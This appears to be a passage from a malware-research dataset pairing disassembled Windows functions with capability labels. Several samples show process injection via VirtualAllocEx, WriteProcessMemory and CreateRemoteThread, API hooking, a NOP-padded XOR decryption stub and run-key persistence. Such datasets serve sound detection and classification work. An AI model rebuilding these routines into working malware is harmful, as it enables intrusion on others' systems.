joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001cf0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x10008004]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
je 0x10001d2d
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x10], 0
jne 0x10001d18
mov dword [ebp - 0x18], 1
jmp 0x10001d1f
mov dword [ebp - 0x18], 0
mov cl, byte [ebp - 0x18]
mov byte [ebp - 9], cl
movzx edx, byte [ebp - 9]
test edx, edx
je 0x10001d34
xor al, al
jmp 0x10001e47
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x24], edx
push 0x40
push 0x1000
mov eax, dword [ebp - 0x24]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10001d6d
xor al, al
jmp 0x10001e47
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x14]
cmp dword [ecx + 0x14], 0x10
jb 0x10001d8b
mov dword [ebp - 0x1c], 1
jmp 0x10001d92
mov dword [ebp - 0x1c], 0
mov dl, byte [ebp - 0x1c]
mov byte [ebp - 0xa], dl
movzx eax, byte [ebp - 0xa]
test eax, eax
je 0x10001dae
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx]
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x3c], edx
push 0
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x10001ddf
xor al, al
jmp 0x10001e47
mov dword [ebp - 8], 0
push 0x10006534
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 8]
push ecx
push 0
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x40]
push eax
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x10001e29
xor al, al
jmp 0x10001e47
cmp dword [ebp + 8], 0
je 0x10001e45
cmp dword [ebp - 0x10], 0
je 0x10001e45
cmp dword [ebp - 0x28], 6
je 0x10001e45
cmp dword [ebp - 0x2c], 0
je 0x10001e45
mov al, 1
jmp 0x10001e47
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100044cb
mov esp, ebp
pop ebp
ret
Function at 0x10002300
Capabilities:
Allocate or change rwx memory
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100053b4
mov eax, dword fs:[0]
push eax
sub esp, 0x3c
mov eax, dword [0x10008004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.CreateProcessW
push str.kernelbase.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x10008610], eax
call fcn.10003982
push 0x10008610
mov edx, 0x100021a0
mov ecx, dword [0x10008610]
call fcn.100039b6
xor ecx, ecx
call fcn.10003ba4
push 0xc
call fcn.100044d9
add esp, 4
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], 0
cmp dword [ebp - 0x28], 0
je 0x100023a5
xor eax, eax
mov ecx, dword [ebp - 0x28]
mov dword [ecx], eax
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
push 0
push str.SoftwareNeutrino
push 0x80000001
mov ecx, dword [ebp - 0x28]
call fcn.10001450
mov dword [ebp - 0x34], eax
jmp 0x100023ac
mov dword [ebp - 0x34], 0
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x3c], edx
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x100024c5
push str.StoredData
mov ecx, dword [ebp - 0x20]
call fcn.10001550
mov dword [ebp - 0x40], eax
push str.SpinLock
mov ecx, dword [ebp - 0x20]
call fcn.10001550
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x18], 0
mov byte [ebp - 0x17], 0
mov byte [ebp - 0x16], 0
mov byte [ebp - 0x15], 0
mov byte [ebp - 0x14], 0
mov ecx, dword [ebp - 0x40]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov al, byte [ecx + 4]
mov byte [ebp - 0x14], al
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x1c]
push ecx
push 0x40
push 5
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x18]
mov dword [eax], ecx
mov dl, byte [ebp - 0x14]
mov byte [eax + 4], dl
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
push 5
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.Thread
mov ecx, dword [ebp - 0x20]
call fcn.10001550
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x10002484
mov ecx, dword [ebp - 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
je 0x100024be
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x24]
call fcn.10001480
mov edx, 1
and edx, 1
je 0x100024b6
push 0xc
mov eax, dword [ebp - 0x24]
push eax
call fcn.1000450e
add esp, 8
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x38], ecx
jmp 0x100024c5
mov dword [ebp - 0x38], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100044cb
mov esp, ebp
pop ebp
ret
Function at 0x100035f5
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10008004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [ebp - 0x24], ebx
cmp ebx, 0xffffffff
je 0x10003700
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x100036f9
inc edi
cmp dword [ebp - 0x20], 0x10
jb 0x100036bd
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x14], eax
jne 0x100036bd
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x100036bd
mov edx, dword [esi]
test edx, edx
jne 0x10003686
push 0x200
push edx
push dword [0x10008618]
mov dword [esi + 4], 0x80
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edx, eax
mov dword [esi], edx
test edx, edx
je 0x100036e2
lea ebx, [esi + 8]
jmp 0x100036b0
mov eax, dword [esi + 4]
lea ebx, [esi + 8]
cmp dword [ebx], eax
jb 0x100036b0
add eax, eax
mov dword [esi + 4], eax
shl eax, 2
push eax
push edx
push 0
push dword [0x10008618]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov edx, eax
test edx, edx
je 0x10003711
mov dword [esi], edx
mov ecx, dword [ebx]
mov eax, dword [ebp - 0x18]
mov dword [edx + ecx*4], eax
inc dword [ebx]
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x20], 0x1c
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
jne 0x1000363e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x100036f9
xor edi, edi
cmp dword [esi], edi
je 0x100036f9
push dword [esi]
push edi
push dword [0x10008618]
call dword [sym.imp.KERNEL32.dll_HeapFree]
and dword [esi], edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100044cb
leave
ret
mov ebx, dword [ebp - 0x24]
jmp 0x100036e2

Function at 0x10003716
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
mov edi, ecx
mov dword [ebp - 8], edx
xor esi, esi
mov dword [edi], esi
mov dword [edi + 4], esi
mov dword [edi + 8], esi
call fcn.100035f5
test eax, eax
jne 0x1000373a
push 9
pop esi
jmp 0x10003781
cmp dword [edi], esi
je 0x10003781
push ebx
mov ebx, esi
cmp dword [edi + 8], esi
jbe 0x10003780
mov eax, dword [edi]
push dword [eax + ebx*4]
push esi
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov dword [ebp - 4], eax
test eax, eax
je 0x1000377a
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [ebp + 8]
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 4]
call fcn.100034a2
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [edi + 8]
jb 0x10003746
pop ebx
pop edi
mov eax, esi
pop esi
leave
ret
Function at 0x10003787
Capabilities:
Resume thread

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x100037d3
push edi
xor edi, edi
cmp dword [esi + 8], edi
jbe 0x100037c2
push ebx
mov eax, dword [esi]
push dword [eax + edi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x100037bb
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [esi + 8]
jb 0x10003798
pop ebx
push dword [esi]
push 0
push dword [0x10008618]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
ret

Function at 0x100037d5
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
imul esi, ecx, 0x2c
push edi
mov edi, edx
mov dword [ebp - 0x10], edi
add esi, dword [0x10008630]
mov dword [ebp - 8], esi
mov al, byte [esi + 0x14]
mov ebx, dword [esi]
and al, 1
je 0x100037fb
sub ebx, 5
movzx eax, al
lea ecx, [ebp - 4]
push ecx
push 0x40
lea eax, [eax*2 + 5]
push eax
push ebx
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10003822
push 0xa
pop eax
jmp 0x100038a2
test edi, edi
je 0x10003843
mov byte [ebx], 0xe9
mov eax, dword [esi + 4]
sub eax, ebx
sub eax, 5
mov dword [ebx + 1], eax
test byte [esi + 0x14], 1
je 0x10003862
mov eax, dword [esi]
mov word [eax], 0xf9eb
jmp 0x10003862
test byte [esi + 0x14], 1
je 0x10003857
lea esi, [esi + 0xc]
mov edi, ebx
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 8]
jmp 0x10003862
mov eax, dword [esi + 0xc]
mov dword [ebx], eax
mov al, byte [esi + 0x10]
mov byte [ebx + 4], al
mov edi, dword [ebp - 0xc]
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov edx, dword [ebp - 0x10]
mov cl, dl
add cl, cl
shl dl, 2
xor cl, byte [esi + 0x14]
and cl, 2
xor cl, byte [esi + 0x14]
xor dl, cl
and dl, 4
xor dl, cl
xor eax, eax
mov byte [esi + 0x14], dl
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10003e7e
Capabilities:
Allocate or change rwx memory

Disassembly:
mov edx, dword [0x10008620]
push esi
xor esi, esi
jmp 0x10003e90
cmp dword [edx + 4], esi
jne 0x10003ee4
mov edx, dword [edx]
test edx, edx
jne 0x10003e89
push 0x40
push 0x3000
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, eax
test edx, edx
je 0x10003ee0
push edi
push 0x20
lea ecx, [edx + 0x20]
mov dword [edx + 8], esi
pop edi
mov dword [ecx], esi
mov eax, ecx
mov dword [edx + 4], ecx
add edi, 0x20
add ecx, 0x20
mov esi, eax
cmp edi, 0xfe0
jbe 0x10003eb7
mov eax, dword [0x10008620]
mov dword [edx], eax
mov dword [0x10008620], edx
pop edi
test edx, edx
jne 0x10003ee4
xor eax, eax
pop esi
ret
mov eax, dword [edx + 4]
pop esi
mov ecx, dword [eax]
inc dword [edx + 8]
mov dword [edx + 4], ecx
ret
Function at 0x401651
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4016a7
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4016a7
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, dword [ebp + 8]
lea ecx, [esi + eax]
and edx, 0xf
jbe 0x401699
cmp esi, ecx
jae 0x4016a7
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub edx, 1
jne 0x401687
cmp esi, ecx
jae 0x4016a7
cmp word [esi], 0
je 0x4016a7
mov eax, esi
jmp 0x4016a9
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x402250
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
mov edi, ecx
lea eax, [ebp - 4]
push eax
xor ecx, ecx
lea eax, [ebp - 8]
push ecx
push eax
push ecx
push dword [ebp + 8]
mov dword [ebp - 4], ecx
push dword [edi + 4]
mov dword [ebp - 8], ecx
call dword [sym.imp.SHLWAPI.dll_SHQueryValueExW]
mov esi, eax
test esi, esi
jle 0x402288
movzx esi, si
or esi, 0x80070000
test esi, esi
jne 0x4022ea
mov eax, dword [ebp - 4]
xor ecx, ecx
shr eax, 1
push 2
inc eax
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0041c2e5
pop ecx
mov ecx, eax
mov eax, dword [ebp + 0xc]
mov dword [eax], ecx
test ecx, ecx
je 0x4022e5
cmp dword [ebp - 4], 0
je 0x4022de
lea eax, [ebp - 4]
push eax
push ecx
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.SHLWAPI.dll_SHQueryValueExW]
mov esi, eax
test esi, esi
jle 0x4022ea
movzx esi, si
or esi, 0x80070000
jmp 0x4022ea
xor eax, eax
mov word [ecx], ax
jmp 0x4022ea
mov esi, 0x8007000e
pop edi
mov eax, esi
pop esi
leave
ret 8

Function at 0x403ca4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x430008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, edx
mov ebx, ecx
push edi
mov ecx, esi
call fcn.004018a4
push 0x208
xor edi, edi
lea eax, [ebp - 0x20c]
push edi
push eax
call fcn.0040b1e0
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
push edi
push edi
push ebx
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
test edi, edi
jns 0x403d3e
movzx ecx, bl
cmp ecx, 0x26
jne 0x403d02
mov edx, str.ProgramFiles
jmp 0x403d0c
cmp ecx, 0x1c
jne 0x403d2d
mov edx, str.LocalAppData
lea ecx, [ebp - 0x210]
call fcn.00403e9e
push eax
mov ecx, esi
call fcn.004017fb
mov ecx, dword [ebp - 0x210]
lea ecx, [ecx - 0x10]
call fcn.00401251
mov eax, dword [esi]
cmp dword [eax - 0xc], 0
je 0x403d3a
xor eax, eax
inc eax
jmp 0x403d5c
mov eax, edi
jmp 0x403d5c
lea eax, [ebp - 0x20c]
push eax
call fcn.004147df
pop ecx
push eax
lea eax, [ebp - 0x20c]
mov ecx, esi
push eax
call fcn.00401a2c
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a65d
leave
ret
Function at 0x407d3a
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebx
push edi
mov edi, ecx
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0
mov ebx, eax
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x407da9
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
lea ebx, [ebx*2 + 2]
push ebx
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x407d85
push ebx
push edi
push eax
call fcn.0040c610
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push esi
push 0xd
call dword [sym.imp.USER32.dll_SetClipboardData]
test eax, eax
jne 0x407da0
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop esi
pop edi
pop ebx
jmp dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
pop ebx
ret

Function at 0x4124b9
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x430008]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x412504
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.004126da
test al, al
jne 0x4124fe
sub edx, 2
cmp edx, edi
jne 0x4124e4
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x412526
lea eax, [edi + 2]
cmp edx, eax
je 0x412526
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.00412405
add esp, 0x10
jmp 0x412620
push esi
lea ecx, [ebp - 0x255]
call fcn.004126da
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x412569
push dword [ebp - 0x25c]
jmp 0x412516
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x4125a6
cmp word [ebp - 0x226], 0
je 0x4125c7
cmp word [ebp - 0x226], ax
jne 0x4125a6
cmp word [ebp - 0x224], 0
je 0x4125c7
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.00412405
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x412613
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x412580
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x4125fb
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x412620
push 0x412235
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00416270
add esp, 0x10
jmp 0x4125f0
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a65d
leave
ret
Function at 0x4133f0
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x421b74
push 0x421b6c
push str.FlsAlloc
push 0x1e
call fcn.0041332d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x413424
push dword [ebp + 8]
mov ecx, esi
call dword [0x4202bc]
call esi
jmp 0x41342a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x41346e
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x421b84
push 0x421b7c
push str.FlsGetValue
push 0x20
call fcn.0041332d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4134a5
push dword [ebp + 8]
mov ecx, esi
call dword [0x4202bc]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x408898
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42b7a4], 0
push ebp
mov ebp, esp
push esi
push ebx
mov edx, dword [ebp + 0xc]
je 0x4088b5
mov eax, dword [ebp + 8]
mov ebx, dword [ebp + 0x10]
not eax
add ebx, edx
jmp 0x4088e3
xor ecx, ecx
mov eax, ecx
mov ebx, 8
mov esi, eax
and eax, 1
neg eax
shr esi, 1
and eax, 0xedb88320
xor eax, esi
dec ebx
jne 0x4088be
mov dword [ecx*4 + 0x42b7a0], eax
inc ecx
cmp ecx, 0x100
jne 0x4088b7
jmp 0x4088a9
cmp edx, ebx
je 0x4088fc
inc edx
mov cl, al
shr eax, 8
xor cl, byte [edx - 1]
movzx ecx, cl
xor eax, dword [ecx*4 + 0x42b7a0]
jmp 0x4088e3
pop ebx
not eax
pop esi
pop ebp
ret 0xc

Function at 0x430005
Capabilities:
Encode data using xor

Disassembly:
pushal
mov eax, section..pdata
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
nop
nop
mov ebx, 0x408f6c
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x66847052
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..pdata_1
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e3d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x727924cf
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x413d70
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x12c
push ebx
mov ebx, dword [esp + 0x134]
push ebp
mov ebp, dword [esp + 0x13c]
push esi
push edi
xor edi, edi
cmp word [ebx], 0x5c
mov eax, ebx
jne 0x413de2
cmp word [ebx + 2], 0x5c
jne 0x413de2
cmp ebp, 1
jne 0x413da5
mov ebx, 0x4a473c
jmp 0x413db3
mov ebx, 0x4a4740
test ebp, ebp
je 0x413db3
mov ebx, 0x4a4744
mov esi, eax
lea eax, [esi + 4]
call fcn.004095d0
mov edi, eax
test edi, edi
je 0x413e45
sub eax, esi
sar eax, 1
cmp eax, 0x80
jae 0x413e45
cmp word [edi], 0x3a
lea eax, [edi + 2]
jne 0x413de0
call fcn.00409620
mov ebx, esi
movzx ecx, word [eax]
xor esi, esi
test cx, cx
je 0x413e0d
xor edx, edx
mov edi, edi
cmp cx, 0x5c
je 0x413e0d
cmp esi, 0x13
je 0x413e45
inc esi
mov word [esp + edx + 0x14], cx
lea edx, [esi + esi]
movzx ecx, word [edx + eax]
test cx, cx
jne 0x413df0
xor edx, edx
lea ecx, [esi + esi]
mov word [esp + ecx + 0x14], dx
movzx edx, word [ecx + eax]
test dx, dx
je 0x413e24
test ebp, ebp
je 0x413e45
mov esi, dword [esp + 0x148]
test esi, esi
je 0x413e58
cmp edx, 0x5c
je 0x413e52
dec ebp
neg ebp
sbb ebp, ebp
not ebp
and ebp, 0x4ab02c
mov dword [esi], ebp
jmp 0x413e58
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x12c
ret
lea eax, [ecx + eax + 2]
mov dword [esi], eax
mov ebp, dword [esp + 0x14c]
test ebp, ebp
je 0x413e6b
test edi, edi
setne cl
mov byte [ebp], cl
lea edx, [esp + 0x14]
push str.HKLM
push edx
call fcn.0048cd49
add esp, 8
test eax, eax
je 0x413f7b
lea eax, [esp + 0x14]
push str.HKEY_LOCAL_MACHINE
push eax
call fcn.0048cd49
add esp, 8
test eax, eax
je 0x413f7b
lea ecx, [esp + 0x14]
push str.HKCR
push ecx
call fcn.0048cd49
add esp, 8
test eax, eax
je 0x413f74
lea edx, [esp + 0x14]
push str.HKEY_CLASSES_ROOT
push edx
call fcn.0048cd49
add esp, 8
test eax, eax
je 0x413f74
lea eax, [esp + 0x14]
push str.HKCC
push eax
call fcn.0048cd49
add esp, 8
test eax, eax
je 0x413f6d
lea ecx, [esp + 0x14]
push str.HKEY_CURRENT_CONFIG
push ecx
call fcn.0048cd49
add esp, 8
test eax, eax
je 0x413f6d
lea edx, [esp + 0x14]
push str.HKCU
push edx
call fcn.0048cd49
add esp, 8
test eax, eax
je 0x413f66
lea eax, [esp + 0x14]
push str.HKEY_CURRENT_USER
push eax
call fcn.0048cd49
add esp, 8
test eax, eax
je 0x413f66
lea ecx, [esp + 0x14]
push 0x4a4814
push ecx
call fcn.0048cd49
add esp, 8
test eax, eax
je 0x413f5f
lea edx, [esp + 0x14]
push str.HKEY_USERS
push edx
call fcn.0048cd49
add esp, 8
test eax, eax
jne 0x413e45
mov esi, VariantInit
jmp 0x413f80
mov esi, SysReAllocString
jmp 0x413f80
mov esi, VariantInit
jmp 0x413f80
mov esi, SysReAllocString
jmp 0x413f80
mov esi, reloc.OLEAUT32.dll_SysReAllocString
test ebp, ebp
je 0x413fd3
test edi, edi
je 0x413fd3
push 0x7f
lea eax, [esp + 0x40]
push ebx
push eax
call fcn.0048fa44
add esp, 0xc
xor ecx, ecx
lea eax, [esp + 0x10]
push eax
mov word [esp + 0x13e], cx
sub edi, ebx
push esi
lea ecx, [esp + 0x44]
xor edx, edx
sar edi, 1
push ecx
mov word [esp + edi*2 + 0x48], dx
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
neg eax
pop edi
sbb eax, eax
pop esi
not eax
and eax, dword [esp + 8]
pop ebp
pop ebx
add esp, 0x12c
ret
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x12c
ret